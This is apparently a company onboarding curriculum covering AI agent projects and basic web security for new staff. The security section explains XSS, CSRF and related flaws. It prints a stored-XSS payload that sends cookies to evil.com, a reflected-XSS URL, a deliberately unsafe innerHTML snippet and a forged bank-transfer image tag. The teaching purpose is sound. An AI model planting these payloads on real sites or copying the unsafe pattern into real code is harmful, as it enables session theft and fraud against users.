← Back to Onboarding Hub

Training
Curriculum

A non-exhaustive list of topics and tasks for your onboarding journey. Take your time, follow in any order, and make comments and additions as you see fit.

Required Accounts

Set up these accounts and tools to get started:

Agents

Agent 101
Tenzai Agent
  • Clone the tenzai repo and explore the agent code
  • Run the agent locally against a test target
  • Understand the tool definitions and how they're used
Project 1: Build a simple ReAct agent from scratch

Create a minimal agent that can use tools to accomplish a task. Focus on understanding the core loop.

Project 2: Implement similar agent using Pydantic AI framework

Explore the Pydantic AI framework and rebuild your agent using it.

  • Read Anthropic's deep researcher multi-agent design doc: Link
Browser-use
  • Explore browser automation for agents
  • Understand how agents can interact with web pages
Evaluations

Evals is a big deal at Tenzai. A quick intro can be found in our Evaluation Metrics documentation.

Models

Security

Core Vulnerability Types

SQL Injection

Abusing database queries. Resources:

Cross Site Scripting (XSS)

Injecting malicious scripts into websites. The core problem is that in HTML/CSS, there's no difference between control (HTML tags) and data (text). Any time an attacker can insert arbitrary data, they can run code in the viewer's browser.

PortSwigger has a good article on XSS

Stored XSS (Persistent XSS)

The malicious payload is saved on the server and delivered to every user who views that data.

Example: Attacker posts a comment with a script tag. Anyone loading the page executes that script.

Nice article! <script>fetch('http://evil.com/steal?c='+document.cookie)</script>

Online example (PortSwigger Lab)

Reflected XSS

The payload is immediately bounced ("reflected") back in the server's response, not stored.

Example:

https://example.com/search?q=<script>alert(1)</script>

Server naively renders: You searched for: <script>alert(1)</script>

Online example

DOM-based XSS (Client-side XSS)

The injection never touches the server. The browser's own JavaScript takes attacker-controlled input and manipulates the DOM unsafely.

<script>
  let query = location.hash.substr(1);
  document.getElementById('q').innerHTML = query;
</script>

Danger: Completely bypasses server-side sanitization.

Cross-Site Request Forgery (CSRF)

CSRF happens when a victim's browser, already authenticated to a site, is tricked into making an unwanted request. The attacker "rides" the victim's session cookies to execute unintended actions.

Classic Web CSRF

Pattern: Exploit implicit trust (cookies, bearer tokens automatically sent).

  1. Victim is logged into bank.com
  2. Attacker sends victim an email with: <img src="https://bank.com/transfer?to=attacker&amount=1000">
  3. Browser auto-attaches session cookies
  4. Bank server sees valid request → money transfers

Other Important Vulnerabilities

  • Server-Side Request Forgery (SSRF): Forcing a server to make requests on an attacker's behalf
  • Insecure Direct Object Reference (IDOR): Accessing unauthorized data by manipulating object references (e.g., changing id=123 to id=124)
  • Remote Code Execution (RCE): The holy grail—running arbitrary commands on a server
OWASP Resources
Hands-on: Gruyere

Gruyere is a vulnerable web application for learning security.

  • Register on Gruyere
  • Try playing with it and finding vulnerabilities
  • Install Burp Suite and watch the tutorial
  • Use Burp Suite to explore Gruyere